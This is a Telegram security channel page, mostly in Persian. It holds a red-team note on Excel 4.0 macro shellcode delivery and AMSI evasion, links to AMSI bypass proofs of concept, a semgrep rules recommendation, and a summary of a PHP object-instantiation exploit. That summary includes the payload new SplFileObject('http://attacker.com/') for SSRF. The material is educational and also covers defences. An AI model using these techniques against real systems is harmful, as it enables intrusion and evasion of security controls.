Security Analysis – Telegram
Security Analysis
11.5K subscribers
344 photos
50 videos
36 files
885 links
- Offensive Security (Red Teaming / PenTesting)
- BlueTeam (OperationSec, TreatHunting, DFIR)
- Reverse Engineering / Malware Analysis
- Web Security
- Cryptography
- Steganography
- Forensics
Contact : @DrPwner
Download Telegram
⭕️Red Team Note

یکی از تکنیک های مورد استفاده در initial access و یا حتی در lateral movement استفاده از ماکرو ها می باشد.
تکنیک مورد بحث در این پست
xlm macro
میباشد که با این تکنیک شما در قسمت فرمول اکسل به جای فرمول
شل کد تزریق میکنید و ادامه ماجرا..
نکته ای که میتونه مهم کنه این تکنیک رو استفاده نشدن از vba است که قالبا در ماکرو ها ازش استفاده میشه و استفاده اش از ساختار com و win api ها قابلیت دور زدن amsi رو پیدا میکنه که میتونه خیلی برای ما اهمیت داشته باشه.
برای اجرای این تکنیک insert داخل sheet استفاده میکنیم
ms excel 4.0 macro
رو انتخاب میکنیم
از اینجا دیگه میتونیم دستوراتمون رو در هر سلول بنویسیم و البته auto open هم فعال کنیم.
خب حالا از چه روش هایی برای دسترسی میتونیم استفاده کنیم؟
اول اینکه میتونیم دستور cmd اجرا کنیم و بحث nc و امثالهم
دوم اینکه میتونیم با ابزار هایی مثل
https://github.com/mdsecactivebreach/SharpShooter

https://github.com/Synzack/Excel-4.0-Shellcode-Generator

https://github.com/outflanknl/Excel4-DCOM
شل کدی رو ایجاد کنیم
سوم اینکه میتونیم از تکنیک های cobalt strike استفاده کنیم
و در اخر بیایم کمی عمیق شیم در دستوراتش
register()
توابع win api رو فراخوانی میکنه
halt()
اجرای ماکرو رو متوقف میکنه
exec()
یه فایلی رو اجرا میکنه حالا یا اجرایی یا فایل دیگه ای
و..
https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf
که اینجا تمامی توابع هستش.

حالا چجوری استفاده کنیم از این موارد؟
خب در ابتدا با register
win api هارو
فراخوانی میکنیم
و سورس پیلودمون رو بر مبنی .net assembly
کامپایل میکنیم و بعد به شل کد تبدیل میکنیم.
این قسمت null byte های شل کدمون رو حذف میکنیم
و شل کدمون رو تبدیل به ascii میکنیم که در تابع char() قرار میگیره
که با فراخوانی توابع ویندوزی در ابتدا ما شل کدمون رو داخل قسمتی از مموری که ذخیره کرده ایم اجرا میکنیم
ناگفته نمونه
https://github.com/FortyNorthSecurity/EXCELntDonut
این ابزار هم خیلی خوبه که ابزار نوشته شده موسسه ای هست که eyewitness رو نوشتن.
خب بریم سر وقت اینکه چیکارش کنیم؟
چطور جلوگیری بشه ؟
در ابتدا ابزاری برای رفع مبهم سازی ماکرو های این مدل دیدم که به نظر چیز بدرد بخوری میومد
https://github.com/DissectMalware/XLMMacroDeobfuscator

برای جلوگیری ازش هم خب در ورژن های جدید آفیس غیر فعال است
اما باز پالیسی هایی در admx و یا رجیستری هست
https://4sysops.com/archives/restricting-or-blocking-office-2016-2019-macros-with-group-policy/
https://blog.malwarebytes.com/reports/2022/01/microsoft-is-now-disabling-excel-4-0-macros-by-default/
#redteam #amsi #macro #winapi
@securation
🔥8👍5👎3
👍10👎2🔥1
AS-22-Korkos-AMSI-and-Bypass.pdf
1.3 MB
⭕️ Two new AMSI bypass PoC's via Provider Patching into my Amsi-Bypass-Powershell repo. Plus one PoC in Nim as pull request for OffensiveNim:

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#with-add-type
#amsi #bypass #powershell
@securation
🔥6👎2
⭕️ اگه توی حوزه کشف و تحلیل آسیب پذیری های باینری فعالیت دارید پس باید درمورد semgrep هم بدونید که ابزار خیلی خوبیه :)
زبان های مختلفی رو پشتیبانی میکنه و رول های مختلفی برای آسیب پذیری هایی
مثل :‌
buffer overflows
integer overflows
format strings
command injection
race conditions
miscellaneous
و..
داره که میتونیم استفاده کنیم
این ابزار رو میتونیم بصورت افزونه روی ghidra یا vscode داشته باشیم و زمان Disassemble کردن طبق رول های مربوطه کد هارو بررسی میکنه.
نکته دیگه که میتونه مفید باشه میتونیم rule مورد نظر خودمون رو داشته باشیم و با ساختاری که خودمون ایجاد کردیم شروع به بررسی بکنه.
https://github.com/0xdea/semgrep-rules

و این لینک هم روشی برای کشف اسیب پذیری بصورت خودکار با ترکیب ghidra و این ابزار

https://security.humanativaspa.it/automating-binary-vulnerability-discovery-with-ghidra-and-semgrep/
#0day #vulnerability #ghidra #reverse
@securation
👍12🎉2👎1
⭕️ Exploiting Arbitrary Object Instantiations in PHP without Custom Classes

PHP’s Arbitrary Object Instantiation:
این مورد یک آسیب پذیری هست که به حمله کننده اجازه ساختن object های دلخواهش رو در PHP میده.
کد آسیب پذیر در مقاله به طور خلاصه به صورت زیر هست
new $_GET['a']($_GET['b']);
حمله کننده اپلیکیشن آسیب پذیر رو در یک پروسه تست نفوذ داخلی پیدا میکنه. ابتدا در یک پروسه تست نفوذ داخلی یک سرویس LDAP پیدا میکنه که دسترسی بهش از طریق anonymous user امکان پذیر نبوده. بعدش با ست کردن کانفیگ زیر در فایل etc/hosts/ اش قادر به دور زدن پروسه احرازهویت میشه به دلیل اینکه سرویس LDAP با چک کردن TLS SNI احراز هویت رو انجام میداده
10.0.0.1 company.com
سپس حمله کننده اپلیکیشن PHP ای پیدا میکنه که از LAM یا LDAP Account Manager استفاده میکرده و سپس اقدام به خوندن سورس کد میکنه.
تعدادی از فایل های اپلیکیشن امکان دسترسی برای کاربران بدون احراز هویت رو داشتن که در یکی از این فایل ها ، محقق متوجه میشه که ۲ پارامتر به نام های module و HelpNumber از کاربر گرفته میشن که در نهایت به صورت زیر instantiate میشن
new $_GET['module']($_GET['HelpNumber']);
و اقدام به اکسپلویت کردن این آسیب پذیری به روش های مختلف میکنه:‌
1. Exploiting SSRF + Phar deserialization
2. Exploiting through PDOs
3. Exploiting through the Imagick Extension
برای مثال در اکسپلویت SSRF + Phar deserialization محقق به ترکیب زیر میرسه
new SplFileObject('http://attacker.com/');
از طریق کلاس SplFileObject امکان برقراری ارتباط به هر هاست لوکال یا ریموت وجود داره. که این امکان SSRF رو به ما میده و ذکر میکنه که در PHP ورژن های 8 به پایین امکان تبدیل کردن این SSRF به deserializations از طریق Phar protocol وجود داره.
لینک کامل این مقاله:
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
#PHP #Web
@securation
👍10👎2